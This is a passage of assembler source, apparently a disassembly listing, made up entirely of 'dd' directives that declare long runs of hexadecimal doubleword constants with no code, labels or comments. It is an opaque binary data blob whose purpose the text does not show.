		dd 787F17C7h, 0F14042D2h, 66C040E1h, 0B6186FDAh, 4B385E46h
		dd 647E01CFh, 0A58FC4Dh, 71319FCEh, 5D6070E8h, 0E5A17468h
		dd 0AAF31E54h, 630C015h, 0D9E2079Fh, 0F800CBF0h, 0A4E08E0Eh
		dd 573428h, 13D06A79h, 0AC618999h, 0F43B6B00h, 381BAF4Fh
		dd 0E6C40062h, 0C07AE2C1h, 0A4006750h, 0C72B59D3h, 5B9D8Ah
		dd 1A739295h, 8172BEDDh, 427DC1EFh, 0DE01DC2h, 0CD004CD0h
		dd 5B3EA59Fh, 3FC65604h, 1B3F324Ah, 0B47C00F6h,	0FC970199h
		dd 0C90ECE6Eh, 219DC1F2h, 0DF3A9E02h, 94CCC4h, 9C43668h
		dd 0A54D8C5h, 0A04C7160h, 1841CEh, 12458E5Bh, 0D4F7C581h
		dd 8CDB6C0Ah, 2A4094EBh, 3601F7Ah, 0D17C6F4Dh, 8309F71h
		dd 8D182106h, 65B9001Fh, 543C0785h, 1E254332h, 0CAE000EDh
		dd 0DB4812h, 5379977Fh,	0BDDE845Ch, 0E2CD7800h,	45401ED1h
		dd 0CF1512AEh, 8D2402DCh, 0F8A0D6A0h, 0B41E46A2h, 0BF764E01h
		dd 0BC0E41DFh, 0B828AFD1h, 1E7E9500h, 26714C23h, 8B35D30Bh
		dd 39DD8783h, 78D4CE70h, 0F1030058h, 525C2321h,	0DC01CCD8h
		dd 0AADB654Eh, 1888FF1Fh, 642E38B6h, 19E89387h,	0D2C50440h
		dd 888CA9CEh, 1F7B7618h, 118F4D23h, 8E04003Bh, 0FB69C61Fh
		dd 926000A6h, 88C09A10h, 0A1097F79h, 8AD866D9h,	0B840E4CEh
		dd 34714B6h, 0CFB7B440h, 8779C59h, 8F9FA4A8h, 534F1400h
		dd 0EA1C34A0h, 0B6030D4Bh, 80B6E882h, 6188C350h, 0D9A6C9h
		dd 0D53F1847h, 2FCA218Bh, 8AFFBC00h, 0F2239702h, 47A51E81h
		dd 0EB0F00F0h, 579FD41Bh, 0A629D703h, 0F0D0862Bh, 3F1E93BAh
		dd 18BACDC6h, 0A30E0C03h, 5A809138h, 0BF002367h, 14F23069h
		dd 7231E9h, 66449433h, 0A0981C2Ch, 4DCBB000h, 806049D4h
		dd 821501A1h, 0B80E5BC1h, 0B63CECD9h, 0D303F0F0h, 4B47F29Ah
		dd 431468Ch, 1E0F5AF0h
		dd 0C94C10C0h, 3D629FCh, 0DEDF01B0h, 0A798A44Bh, 5A019635h
		dd 4F133A79h, 14473D4Ch, 0D144DC54h, 3B6D44A3h,	48C68344h
		dd 0BFF642A9h, 29E40C2Bh, 65F5449Fh, 0BCC53CA0h, 1441B589h
		dd 1112FA2Fh, 8BBDBA10h, 0C8F427ECh, 83C0D4Ah, 5D91B845h
		dd 487C9D07h, 503D20FAh, 840F0C31h, 0C0CA8CFCh,	0B26C1D6h
		dd 0C51800E3h, 645E2A5Ch, 1C386BD7h, 0CFBA042Ch, 8DC0BB17h
		dd 73FDC7h, 667CA33Dh, 0DE06FC39h, 5DBA6400h, 0A619F831h
		dd 4DC400F2h, 0E49686C5h, 0EE003985h, 0F5B0D327h, 0F3A118h
		dd 3FBEDB7Dh, 652E63C2h, 0AF5BC801h, 0EEC93CD6h, 35F170h
		dd 0C6165E1Eh, 36822A46h, 0B400BCF2h, 867ACB51h, 65D9DAh
		dd 2A08C9B6h, 6B7D8488h, 0E357F900h, 1C9C2B80h,	0C8713BD0h
		dd 5E03A201h, 0FCEA7201h, 620070C5h, 18BAC9E5h,	0FA598F34h
		dd 0D69C0051h, 0F5A9070Eh, 0A80005CDh, 0CF1DD0FAh, 67186Dh
		dd 42FC77A2h, 3F31A9Fh,	0AE83BE03h, 904EE270h, 0DB5762h
		dd 0F4CC1FEFh, 23D72F8Eh, 0A06D6C00h, 4AEA5FC7h, 0D69602FAh
		dd 2A0648E1h, 803AD1E0h, 1E421300h, 91D79A4Bh, 944500F6h
		dd 364D7C1Dh, 8800EC3Ch, 60EA6A74h, 92E00D41h, 2CFC0084h
		dd 0B685455Bh, 0F7074E2Dh, 0CD4287B9h, 0E4D2DB80h, 0D34D00E7h
		dd 7F51BCD5h, 0F53148D7h, 3F88050h, 0DD6C90D7h,	0E35D00CBh
		dd 92568F86h, 6A01FC37h, 600BB64Bh, 30805330h, 0FEF8E99Eh
		dd 29001F41h, 92522B69h, 7831A625h, 4F2B4h, 3788CDA1h
		dd 44146067h, 0A8557C30h, 4A22AFh, 0EE931AB4h, 7F52C173h
		dd 88EFBE00h, 0E0F996FBh, 0C55504E6h, 0AAE97AD9h, 0DA784BC0h
		dd 0E2D51CDCh, 8B6B4CF0h, 0B7007CE1h, 8038AD18h, 783FC0EAh
		dd 0C564001Ch, 1753349h, 0A300557Ah, 0D06E2816h, 309D53h
		dd 0B869BD86h, 81AB8087h, 3EBFB73Dh, 2D2000F9h,	0F458FA28h
		dd 2A3B004Ch, 942EAAA9h, 24003DB5h, 0CB99E756h,	3467E71h
		dd 20C5E596h, 1CD01F90h, 0BD1813B4h, 0E298829Fh, 4B38009Eh
		dd 6A5AEB34h, 0CA308357h, 48A88CE4h, 9AAA003Fh,	919C86E5h
		dd 0BF12A50Eh, 0C80F44FFh, 6AD220C5h, 135C8804h, 0A8094Bh
		dd 0C3EFA158h, 2200F5DAh, 6F502C79h, 24897A46h,	3CA8BCh
		dd 7E8DE3F3h, 0C2005DC3h, 0AFD7FD98h, 0CA5D1h, 4562286Dh
		dd 0CF54832Fh, 0D4573700h, 0A3E59341h, 43A21C20h, 75768091h
		dd 0B089FBA9h, 14FCBA01h, 92B3839Dh, 0F8D8040h,	0F55C00F7h
		dd 0CB911D88h, 0C90527Eh, 0A286EC0Eh, 1FCD60EBh, 84FAA5h
		dd 19592D33h, 74997748h, 1BD2C007h, 0D130E18Dh,	4D44DC6Ah
		dd 0FB0BC8A3h, 0F2009043h, 947F3C0Eh, 2B5DD00h,	0E3A6E80Ah
		dd 0F3D49032h, 78737F8h, 5CB05D24h, 0F3990EAh, 795A90F3h
		dd 3800B4F8h, 8E37DA68h, 3E01D0FBh, 0B31553C7h,	0BE20A66Fh
		dd 0A8780073h, 0D8E75163h, 0DD1E66C0h, 208032A7h, 0F948D6C1h
		dd 0C5CC0EB3h, 0D8E0AAB4h, 8D9D9329h, 2F287B00h, 0DBEBC6C7h
		dd 0C1F8001Bh, 5EA05D59h, 0AD0FF5D5h, 0C0602B70h, 278F4087h
		dd 80BE002Ah, 21CB2C83h, 0D503A2E5h, 82D42FE0h,	0E9F80039h
		dd 0DD1B75EEh, 6600B8ADh, 9C67512Eh, 2B1965h, 0EACB8301h
		dd 844C54B9h, 0F0467000h, 49583176h, 0E4AB9834h, 0A357037Ch
		dd 760F9D8h, 0B425DCE8h, 9ED04C39h, 0FA0076C3h,	0B5685C32h
		dd 369C0318h, 474676Eh,	0BC90DBCAh, 0EB3B4113h,	72A90AB4h
		dd 1400B824h, 547D51FDh, 32D8005Eh, 749EFC50h, 2700BACDh
		dd 5D01457Ah, 0B6C2E5h,	6506AFEBh, 23CFFDECh, 0AD9340C0h
		dd 3E1AB875h, 60804121h, 70F55D5Eh, 0CF480FC0h,	0D0302E4h
		dd 80F04BACh, 45FD67BCh, 7AF407D1h, 0E6BC32Dh, 5FE7201h
		dd 2630B03Ah, 0EFBC664h, 0B7BBF42Dh, 8C5BBF00h,	1E0445ECh
		dd 976296AEh, 0D8E6D683h, 48CC4E61h, 9C1F348Bh,	2312C7C2h
		dd 0EEF8C095h, 0CB1C01D7h, 0E02681BCh, 6CC14203h, 0D122909Fh
		dd 0BA771CE1h, 0B2267E6Fh, 0FEB804C4h, 0D0C880D7h, 80A84F7Fh
		dd 0ED06FCD5h, 239D2FBFh, 922E3E48h, 0C2EB8780h, 49EAA2E3h
		dd 0C41BC804h, 0D1EAED46h, 30C39C16h, 0AE00A0B4h, 3F962F64h
		dd 0F5D240h, 2DC5F1B7h,	0DFE449CDh, 801B3D3Dh, 4B45320h
		dd 7335E1Ch, 0C2802517h, 0E3DFC14Ch, 0BD9892AEh, 80A1DC0Fh
		dd 12459E0Fh, 11BEA16h,	76DA40E7h, 302C5CEBh, 0E9775360h
		dd 89929801h, 25104534h, 26F69074h, 80B4443Eh, 682FCA22h
		dd 91E0DF4Fh, 0D0330D1Eh, 3CF5AC0h, 7A542Ah, 20ACCE7Fh
		dd 0C1CB170h, 0B09001F4h, 89A59B03h, 8836AF46h,	3E8A8FCh
		dd 9DEB086Eh, 0A0AF2610h, 3FBA9591h, 0BE19450Ch, 0ED80E0h
		dd 1B7EDB06h, 886848CCh, 0F0985100h, 0F153FCF5h, 0C3F2E3h
		dd 7458D717h, 432F48B4h, 0AEFB2B07h, 0E00C2ADAh, 0F3380B26h
		dd 7580D273h, 0C5F969BCh, 0FDBA5205h, 8D08068h,	1CF334h
		dd 3B3F29A6h, 959BCAF7h, 0DE149600h, 16AA0EFh, 85EC0045h
		dd 790261D7h, 2D9806DFh, 0ABF06500h, 0DBC115A1h, 0E44313D1h
		dd 74820C7h, 5A0195B8h,	17AF59B4h, 0D041ADE5h, 0B7043C5h
		dd 0D7B019h, 5AC35420h,	9D13B29Eh, 80E7223Ch, 0D7A22A17h
		dd 73BCEEF0h, 0F5E60018h, 4DA921C1h, 0FB3F5E8Eh, 3BE38287h
		dd 6043707Bh, 2455DFE4h, 63E84246h, 9EB911E8h, 65AC20B0h
		dd 70C2F300h, 0B2FFC67Dh, 35DC001Ah, 0A594D20h,	6C00A8B1h
		dd 30EAE436h, 81FFA4h, 2F0776C5h, 0DDB4BE0Dh, 50FA8505h
		dd 0C4D0BA11h, 37CB65h,	97F375D3h, 0BE09CAA7h, 829CB63Bh
		dd 7021D2E5h, 0DCFC8731h, 0A00B10C0h, 0F5DD0184h, 0E339FBE9h
		dd 0EBB2E09Dh, 0AEF1600h, 9133A7F6h, 945774B9h,	3E512D4h
		dd 0F54EDB68h, 1CE7A3C8h, 18B4A938h, 0DDB02873h, 2FF60058h
		dd 0A31E6C17h, 490912D5h, 247A42DCh, 0FC809668h, 0F3BF9DDh
		dd 3FC5C1B9h, 449A7880h, 38026DC6h, 0DA06094Ch,	0E174C032h
		dd 0A5B0529h, 835E262Ah, 63E87170h, 0B60092BEh,	7C6906B4h
		dd 0FAC2CA76h, 0B5092E17h, 0EEB8945Ch, 4C185E00h, 0AECDF95h
		dd 60F7023Dh, 0EAADC388h, 6F0700D6h, 33BD6A20h,	0A81E587Fh
		dd 0E2C0D027h, 0FBCF0B0Ch, 4940084h, 5AEFDAA5h,	240B0FDDh
		dd 80785595h, 0E7B38DE0h, 32520069h, 1DE1A948h,	4AE2204Bh
		dd 9D04BE00h, 9CC04FF8h, 30C3723Bh, 0A8D838FEh,	8D0A27D3h
		dd 0FBE59B1Eh, 8E150B00h, 3BB225h, 24B6673h, 6BE8D836h
		dd 51D4900h, 7BC64FD4h,	6550025h, 39F2C2B2h, 4300D295h
		dd 0FC9D873Ch, 70CD7C8Bh, 0F610033h, 9FA1E845h,	0F70070E6h
		dd 40A424EAh, 0C8E4F1h,	4C736D53h, 165E02BBh, 0BDFA3702h
		dd 40DB2563h, 7D1480h, 0F9552631h, 0F77F7E2Fh, 874A4200h
		dd 0E11AB3Ah, 0D2200E5h, 76DD778Eh, 0BA0A98E4h,	0E4C78533h
		dd 18F06598h, 972200C5h, 0C8CB447Bh, 905CD64Dh,	0DB097244h
		dd 25E5BE5Eh, 74C8C630h, 0C4B80070h, 0ABC09029h, 760009EEh
		dd 0BDC9F4F2h, 3C78A351h, 0CE8073C8h, 6FF99568h, 0A7B831AAh
		dd 99606607h, 6DE1B0BBh, 12D8CB27h, 4E3900F3h, 0A4FE6A9h
		dd 0D4005EFFh, 7A04B087h, 64CFFCh, 0A333C53Fh, 0F56BAD16h
		dd 39E03175h, 0FD2CAEF4h, 600B29Fh, 4A09BCA3h, 0E8DE008Eh
		dd 10E5F13Eh, 7400A623h, 0AC44921Fh, 7C452h, 1EA4B83Fh
		dd 0F7C53CCAh, 9E080E00h, 547A55EBh, 33FD003Dh,	0B68B204h
		dd 0A0004077h, 6B9679DEh, 2CB1A92Fh, 0E88D84Fh,	6647EB2Dh
		dd 813F1555h, 308D4063h
		dd 641DB84Eh, 7B80158Ch, 77D86FB2h, 0B473D7h, 21AADA2Ah
		dd 61E98DE7h, 80A3793Ah, 71910D60h, 0FC0987Ch, 2EF65E23h
		dd 40564207h, 40124A4Dh, 1C0EE4B8h, 29848FB3h, 0EFFCA07Fh
		dd 2E8EC443h, 8AFFBDh, 99A7768Ah, 8F0C5937h, 1007B950h
		dd 3A110005h, 40786DB5h, 0F8009127h, 0D773F0C6h, 5F1B813h
		dd 0C27D07B4h, 0DE85C0E9h, 0A706416Ch, 3B67409Eh, 2CF70184h
		dd 0CFEB9BEAh, 0E1BED0B0h, 137D7890h, 53168400h, 70C3E91h
		dd 29920052h, 0EC4DDAE6h, 483FBD40h, 0D488807Ah, 0ABFFA931h
		dd 1CCB3F54h, 97531187h, 4BCC8066h, 7500FE7Ah, 4E04580Eh
		dd 0F2471AB4h, 0F7D600A0h, 0EA4D8099h, 0C6000C38h, 170406B9h
		dd 1229A185h, 87B84662h, 0B1433394h, 1898A7C0h,	26ECBA58h
		dd 2B024FE5h, 0C2337BA0h, 124841B4h, 903BD0D3h,	0FDDC0779h
		dd 1F0F3F99h, 0D0DC1592h, 33842502h, 918013D6h,	44D96AA9h
		dd 0CDAC3400h, 413DE0CEh, 8AA20FF2h, 0C03C2961h, 0A3DEB7CBh
		dd 0E2022226h, 69E58DDDh, 45746032h, 546E000Dh,	6B2C7394h
		dd 0FB045178h, 918E29E5h, 0E3A9C0C0h, 1EC4EA5Fh, 87D9645Ah
		dd 0C42D85FDh, 0D728F0C3h, 0B27C4D00h, 0F18070D5h, 0FBA10528h
		dd 805AACDDh, 8F3338FCh, 37BE1100h, 70E4EE67h, 635F00A6h
		dd 4B106E9Bh, 3EECD935h, 2124A401h, 65F94A2Ah, 83F6C340h
		dd 0FF380F22h, 0BDA0F126h, 3EFCA2EBh, 0E786E000h, 0B18024BBh
		dd 0ABFB074Bh, 80780BB5h, 5A5E44C0h, 0FE999B07h, 13B0A039h
		dd 5C7582Bh, 0D7D66B26h, 2234917Eh, 86A10FDh, 1C98CBh
		dd 0E6C80D02h, 39898C9Fh, 1F6DD0A0h, 0D2F46F03h, 0E9706714h
		dd 2C282364h, 40BB4D13h, 0A836CD48h, 0A0755950h, 84E56200h
		dd 0D6E9E012h, 49882h, 0FE432EE3h, 7D9704D2h, 6700D9E8h
		dd 688D244Ah, 2539B5h, 8E07A427h, 0C615FC37h, 0B04F3C98h
		dd 4E21E002h, 8A54C04Dh, 105810B8h, 0C2670196h,	0AFD5F39Eh
		dd 7FC0A1C9h, 4E643332h, 0E5E85106h, 1F38EBBFh,	6878874Bh
		dd 0B791A219h, 0D9E8DB45h, 9B300E8Bh, 4476A613h, 0A94CA4h
		dd 9F59CFFFh, 0F9FE0279h, 1FBCD1ABh, 0A3F06440h, 80CDD43Ah
		dd 84305B5Ah, 7CFB0991h, 0B7EB073Fh, 71C70619h,	60DB2E14h
		dd 0B65CD560h, 189D09E9h, 0EA48E416h, 11DF001Dh, 59320EB7h
		dd 0B01F902h, 0D9EDEF57h, 0AD704AE2h, 58AA0043h, 416DE3FAh
		dd 0C90E1DA8h, 5303E5h,	146125BFh, 128C749Ch, 369A52h
		dd 1DB151C0h, 750085B6h, 39D7FFC1h, 0BEA8Fh, 0CB19F3E6h
		dd 7C50B2B3h, 0D82F1400h, 0AC1F29A5h, 0DC6617F6h, 8790006Ah
		dd 6136B7Dh, 0DFEC409Fh, 15B47525h, 0CCC9CC78h,	252B210h
		dd 1424AC0Eh, 57A301FBh, 0F07A71C5h, 1D01F501h,	88385FD3h
		dd 0CFECB0C7h, 0AFEB00ACh, 0A4742F5Ah, 0E5F4BA84h, 4EF3D00h
		dd 5CD835B4h, 126E00F7h, 92B2C9C6h, 0E100AE4Dh,	198028FDh
		dd 7E34420h, 701E070Bh,	0C921036Ah, 390620CFh, 1006128h
		dd 4B4D44FCh, 379AC71Bh, 30C0C0CCh, 4346D9Bh, 0A5EC80F7h
		dd 0FB6724Ch, 7EB7AD4h,	0E8733A0Ch, 0CC56F011h,	0D0F5B15h
		dd 630A2E50h, 8B94BA88h, 1C117BD0h, 0FE0B3A92h,	0A883CB07h
		dd 8D85C263h, 53378483h, 0C3121AE0h, 5A498201h,	2FDD4C89h
		dd 0F2095C38h, 60608575h, 683FB17Eh, 58670471h,	9C804D16h
		dd 0E02219AFh, 0AD0100E5h, 0BFB430FCh, 76002ED7h, 0A78287A5h
		dd 719E2DB6h, 27D50E07h, 8DC0094Dh, 0E145DB88h,	5340E03h
		dd 0BF9060F5h, 0B6046C90h, 9E260032h, 9F54DD22h, 153D11C0h
		dd 0C3888023h, 97FD5CE3h, 3E9500AEh, 49BD9044h,	3C035D1Bh
		dd 0D04FC7ABh, 0A7E00FFFh, 0BE0DE83h, 4061146Bh, 24733F00h
		dd 10A4F38Ch, 0FFB80336h, 880B5FDBh, 0F900A0B5h, 1883E11Eh
		dd 70CC1940h, 0E6E652DBh, 667614F5h, 0B100F44Ch, 4A208C3Ch
		dd 569813B5h, 9AC15215h, 90E502ACh, 703FECFCh, 58C004E0h
		dd 80F1A62Ch, 90888285h, 0D05E49h, 8ADD27E9h, 9E1630h
		dd 1245CCEAh, 35A342BFh, 0FE001190h, 0D2938A79h, 0F6158E4Eh
		dd 4BF900E8h, 54100489h, 3007EE24h, 0F5E5958h, 0E2FFB3B0h
		dd 0B7104DEh, 0C0F026BBh, 0FBB06A94h, 4FCC9D0Fh, 0D6AC40D9h
		dd 1DDB670h, 9373792Ah,	0BB928481h, 3AA680C0h, 701F6187h
		dd 28A2005Ah, 0DDB1ACFh, 1E00F420h, 0E83C5B3Dh,	57E4BEh
		dd 6B3F250Ah, 0A577404Ch, 0CC89FB0Fh, 37C940E1h, 9242C35Eh
		dd 9B6D0290h, 571D6110h, 840050D8h, 1FE3A8B2h, 7F67B6EBh
		dd 0C44A05FDh, 80EFBFDFh, 0FA49D1EDh, 0E530F865h, 89645880h
		dd 0EB77589Ch, 0D1E6CC00h, 0BA5CFABFh, 3DC75100h, 54646006h
		dd 1C280AB3h, 832FB6h, 71DFFF27h, 50F06172h, 750E4498h
		dd 4B07590Dh, 8A9D87B0h, 21A9DB90h, 0ED8C0042h,	1AFEEF9Eh
		dd 681E51D0h, 2A87A227h, 1830A4E5h, 7D82F2AAh, 0B43F03C1h
		dd 34334C52h, 28BB1BDBh, 0C8C981AAh, 8BD8F4E7h,	0A70E1400h
		dd 8235112Ch, 0D91D0F48h, 5200FA5Bh, 0DFA553CAh, 0A9E56300h
		dd 0AAE419Bh, 35FD0062h, 9F76C554h, 5700A0B3h, 829775E7h
		dd 903614C3h, 517E0760h, 3025EACFh, 0CA429E0h, 5CC76D0Eh
		dd 0D517C0B0h, 0D87A3Bh, 89843663h, 560C420Bh, 8005499h
		dd 27733374h, 0C490C4h,	91DB358Fh, 1C5694D5h, 302C0B0h
		dd 0E4D3CB02h, 6974E0BFh, 0F45E00C1h, 0BBB96838h, 16003C1Fh
		dd 0C03E6B4Ah, 9018EED6h, 8780026Bh, 7FCC4F37h,	64087761h
		dd 66009ED0h, 0B92C2F0Bh, 0F86D03h, 0DE7F63Bh, 0FB26EE06h
		dd 73709CB6h, 93812C38h, 395200C4h, 16DE9B33h, 0D290A00h
		dd 0C432627Eh, 75CA16FEh, 5790C11Ch, 24C21021h,	9CACF6EFh
		dd 0FCB00034h, 4BD72D37h, 4609EE07h, 0A3D75217h, 3083B604h
		dd 93FBB07Bh, 89BA049Bh, 0C0C8556Bh, 1E8D1988h,	7249CF00h
		dd 8E6ECB68h, 26CC01B5h, 0CD2E41B6h, 8B3E7066h,	6C906078h
		dd 7C8ACF00h, 8D466ABBh, 4FC31CBAh, 2B43C266h, 0A86090E3h
		dd 25007084h, 0EEA75682h, 2CC8CDD1h, 3CF5D2h, 120F2E3Bh
		dd 1C008F4Dh, 9B8771A1h, 0C610F8h, 7AABEFB5h, 0DD46EC64h
		dd 0BA441507h, 31C0C336h, 7B5B648h, 46B5BB2h, 86E40137h
		dd 29C440D5h, 73004894h, 0A597AB7Ch, 0C216B8h, 7627F6F9h
		dd 75794BD1h, 4AE60E04h, 0D031DAh, 1C3259D3h, 0AD91FA8Ah
		dd 0B0555CA0h, 1F002EDFh, 0AE3BE58Eh, 0E224DBh,	0C04CEFA7h
		dd 82B53ABFh, 0E7C0409h, 0B9A08050h, 1314907h, 0D0B470BAh
		dd 6428D73Eh, 93090240h, 2760326Fh, 8221F200h, 0E2F620h
		dd 77436405h, 1295E11Fh, 0CA1C800h, 2F59D0h, 91332D02h
		dd 3F6D80A2h, 83E24513h, 0C9E8D044h, 25CBCC88h,	0C009840h
		dd 14F99AFCh, 0C8F6A01Ch, 9880C217h, 1D512E97h,	802B047Dh
		dd 50C1433h, 7F243147h,	73002459h, 0BF7917DCh, 0BE8800D3h
		dd 0CE1BC0BBh, 0EA0082E4h, 0B19D3E84h, 6F0A7Eh,	0C1A7397Ah
		dd 51796449h, 9960E716h, 979BD300h, 1B06E5h, 0BC03E92Ch
		dd 0AACFA596h, 75C67B00h, 7E378354h, 3FC42EAFh,	71E48098h
		dd 2197C093h, 0D120379h, 0A4805305h, 1C5E0227h,	80909533h
		dd 0F3B3C6E6h, 727E0EA7h, 39029177h, 8ADC587Fh,	0D9304008h
		dd 4C8F363h, 0AC090198h, 0D35AF34Dh, 0F74ACC1Dh, 0E4319D26h
		dd 0FBC8039h, 0B6453B2Ch, 64970065h, 146F81CCh,	950EE43Ah
		dd 0A40376E1h, 64ACA4DCh, 93C682C1h, 8EDC8906h,	0D96E803Ah
		dd 0C3E7DAA3h, 73082092h
		dd 98E027FAh, 9900EF4Dh, 0F23060D8h, 4E5E1B7h, 0A81393E7h
		dd 912C022Bh, 0EC7660DDh, 2D4F001Bh, 0CF336E7Dh, 961DE1A8h
		dd 2642826Ah, 68ED05B1h, 9E0D314h, 36CFBFFAh, 32778C80h
		dd 2E1375A0h, 6F0E7885h, 0E6005CFEh, 9F240E95h,	0B0A039BCh
		dd 0D8A63800h, 1FEA67D9h, 5A021200h, 0ACC98127h, 0A69150E6h
		dd 22C61D62h, 0C41CD580h, 0C9023538h, 0FA0B67A5h, 0C6EC0FC0h
		dd 583B4F00h, 9E1421B3h, 19911E83h, 0BDDAC765h,	0A0BE6734h
		dd 96EDE492h, 5DB42201h, 1B859FE6h, 2DECBC70h, 0F4805054h
		dd 0D05C0D49h, 1129920Fh, 0EA0E6FFBh, 96701055h, 4254E891h
		dd 390F0047h, 3E4031B0h, 5131EB8h, 20C80F21h, 0D08C0050h
		dd 110F1EDAh, 0E8E0F8B3h, 4D18C0D3h, 73D33FDh, 948D760h
		dd 70690B3h, 89135CBAh,	0BF72004Ch, 1E5462D2h, 0F0004A88h
		dd 219CFD11h, 5ACD31h, 0B2DF4589h, 358CB96Dh, 4A07AE1Fh
		dd 929B5180h, 85E8BCh, 37C83470h, 6C695CABh, 0DA0E9800h
		dd 66BEA9EAh, 8F400E0h,	0B4B60CE8h, 2800F1B1h, 50FA78DCh
		dd 7E051D2h, 3DC0A607h,	2584E04Bh, 6031598h, 0BE81E6EBh
		dd 0CCC0951Ah, 7DE76F2h, 24AADAD4h, 7C1780A4h, 0A61D2216h
		dd 837CCEBBh, 6115B4D2h, 241AC091h, 0EBAC0031h,	0C9FDA97Fh
		dd 2589BE9h, 0C5007AC8h, 0D4DA3416h, 85E5D1h, 0A2522677h
		dd 4E81C1Fh, 0AA2BB51Dh, 48085DC0h, 40B399h, 0C68A1D76h
		dd 1AA694A1h, 0E9A280Ah, 0AA02CC2Ch, 68B3E44Dh,	7EC4964h
		dd 0EE26AE5h, 171DB1F1h, 0F40898F0h, 7BFC4C21h,	7DCF056Ah
		dd 4D671h, 37902A8Fh, 0D91DCE76h, 18C0A39Ch, 96220515h
		dd 2E5001B8h, 0B0D621F9h, 5E498084h, 45757D42h,	0FC8FE297h
		dd 10E820B6h, 8B3BAC00h, 0F468554Dh, 3D1C03FCh,	7D44B620h
		dd 18D1204Bh, 382292AFh, 9F3CAC00h, 814CB774h, 70C0B3B8h
		dd 0BB1110A6h, 0F2967C2Dh, 18EC63EEh, 39008EB1h, 0BA136220h
		dd 0F532AF4h, 816E5AB7h, 0CCF0E6C1h, 8230242Fh,	0D8E75B00h
		dd 1250D729h, 0F2A307F5h, 3075438Eh, 0C5300E02h, 8B31FE18h
		dd 0C3C63668h, 0C058CD81h, 0A6C003C2h, 4E00314Dh, 455163A5h
		dd 46AD5Ah, 171BCB90h, 0C87F7E3Dh, 0F41BB3Eh, 85C387ECh
		dd 83B1B2h, 11DEA085h, 186F00E4h, 7364163Fh, 75660F24h
		dd 1F21EB08h, 0EE18664Ah, 0E1003CAAh, 3AD82DA4h, 5D07FB78h
		dd 0DCA585EDh, 330BD26h, 0A76683CFh, 10588425h,	80F43E01h
		dd 0D395A199h, 0E8945990h, 0D021C034h, 89D2F4BEh, 82428C0Ch
		dd 101FB028h, 669B9498h, 46B81129h, 1872028Dh, 315C1630h
		dd 65531090h, 9A520018h, 19E3FD80h, 0C3065076h,	2285051Dh
		dd 16200268h, 11AAD9BEh, 0CDC07E05h, 7CA4673h, 0DA59B5F8h
		dd 21C346F7h, 0C4E89C00h, 8D7B3D6Dh, 0CD610F78h, 994651A1h
		dd 0AE077998h, 0E31C1936h, 808F0740h, 306A38F8h, 613E2A9Eh
		dd 419FBA11h, 0EA466FC4h, 88F50CF7h, 0C401F498h, 0A5E135ACh
		dd 14300F64h, 0CCE40109h, 394CD083h, 0AEC441FEh, 8DADCCC5h
		dd 0A916A12Eh, 7D233300h, 385479F1h, 0AC000A7Ah, 0D8A10D1Fh
		dd 22F83803h, 98649A00h, 6A49BE9Fh, 0B21E0067h,	0BA2AF392h
		dd 0F10089A6h, 39DD1147h, 70C2EF38h, 96260012h,	782737Ah
		dd 9800FB40h, 6D493051h, 0D45866h, 966133A6h, 95280D46h
		dd 0C2EB126h, 5B00541Ch, 1407CBF9h, 410D1B6h, 0A2659C3h
		dd 416D1000h, 5E6AF9Fh,	29DB1DDFh, 681140C9h, 4C954D71h
		dd 0C23E4200h, 0CEA8A537h, 0EA210031h, 0D97E8280h, 0B670F51Eh
		dd 836E409h, 88CB009Dh,	7E2C40ECh, 6A29007Ch, 160C8644h
		dd 5F007179h, 0ECCD74A3h, 0BBB132h, 73D6A613h, 669F33E7h
		dd 932F6300h, 2CF924C4h, 35BE007Ah, 0FF8ACE58h,	0A50019B2h
		dd 0F6281CCAh, 936A77h,	4238BE62h, 1731C0AAh, 94696800h
		dd 60BB7279h, 0FE6B0076h, 123BA525h, 50FC1727h,	0BC3D6500h
		dd 6DB0FD55h, 6BE74E8h,	0C592C08Dh, 3F07781Ah, 47446F74h
		dd 9E0180DBh, 0F890DCh,	39170A0Dh, 7BF16983h, 6DE59F00h
		dd 62EFA4BAh, 33A70016h, 0DADBE825h, 5008595h, 4C0A38DEh
		dd 4570ADh, 0C56F6898h,	1D43069Ah, 6DE72E00h, 2F77A2DFh
		dd 5BCA0058h, 6C619950h, 34548556h, 4A0078D8h, 0C6581014h
		dd 6A5A07h, 4F8D6716h, 0A0B87F31h, 2B3B40C0h, 4BE5C33h
		dd 64566D63h, 40DD4014h, 0A41D9Fh, 97F2E406h, 0C8B93EF7h
		dd 8A0D9300h, 2AE2863Ch, 2F6604B6h, 0C0C7271Eh,	2899D9EBh
		dd 2DB14A01h, 0E198E36Eh, 13CBCCh, 6567C410h, 0DC9770D0h
		dd 0CF044848h, 6AC360F6h, 9858620h, 412F88EEh, 5A81180h
		dd 5800812Bh, 0F1B435ECh, 1DB94C03h, 9D420E3Ah,	2F1B80C0h
		dd 6B048C96h, 5B80E61Fh, 83729DFBh, 70F9F745h, 0C52480BEh
		dd 2B00C8CDh, 975EB2EBh, 1CC40C9Eh, 473E5946h, 0D1507E34h
		dd 42FDD114h, 0FA81D5B8h, 0D820B548h, 4600F8D3h, 70B65081h
		dd 0B8FE7CB8h, 429C8213h, 36A4A7A3h, 72B93Ch, 0BEB4E9E5h
		dd 7C26BD0Dh, 6D5B5C05h, 0F180FC1Ch, 358760h, 656CF369h
		dd 0D326D807h, 8F5C087Bh, 0BF6F007Fh, 4B49561Ah, 3C79F645h
		dd 0E380F018h, 2A518BFBh, 0A812B23Ch, 0DE001D91h, 9F2D6DFAh
		dd 13A2815h, 9B6600E4h,	685AB88Ah, 0E7026BE4h, 4DFAFB27h
		dd 7E9140CCh, 0D808039Eh, 287F6C38h, 0DCF7618Fh, 0A76DD88Ch
		dd 0F30D96C2h, 654E08Ah, 11EF441h, 33A47E4Ch, 0D45384BDh
		dd 70076D5Eh, 9B9D3FAAh, 0D4C9A030h, 212A0562h,	80BF57F7h
		dd 4F5B7105h, 0C3F5B100h, 61683844h, 7233DABh, 0D90330CDh
		dd 77C07CFEh, 0CBE92840h, 0F3FB8C00h, 5A825759h, 842803A1h
		dd 4CDF006h, 946E50EFh,	3C4CBC01h, 0B78008Eh, 0D7832F2Eh
		dd 311E00D6h, 35F4FE58h, 9328A2B0h, 5A009C03h, 9B4B1F24h
		dd 4C652664h, 31068A63h, 9EFD7C0Bh, 330016EEh, 0CA364395h
		dd 0F8CE85D7h, 0BD503DDh, 91F45F12h, 55D40B0h, 88818E03h
		dd 0D0CDB0B8h, 453B61h,	7669552Ch, 1D7CDF1Ch, 2428E650h
		dd 5F971500h, 9F300AB8h, 4DCE00E9h, 468122E3h, 0BC000BA5h
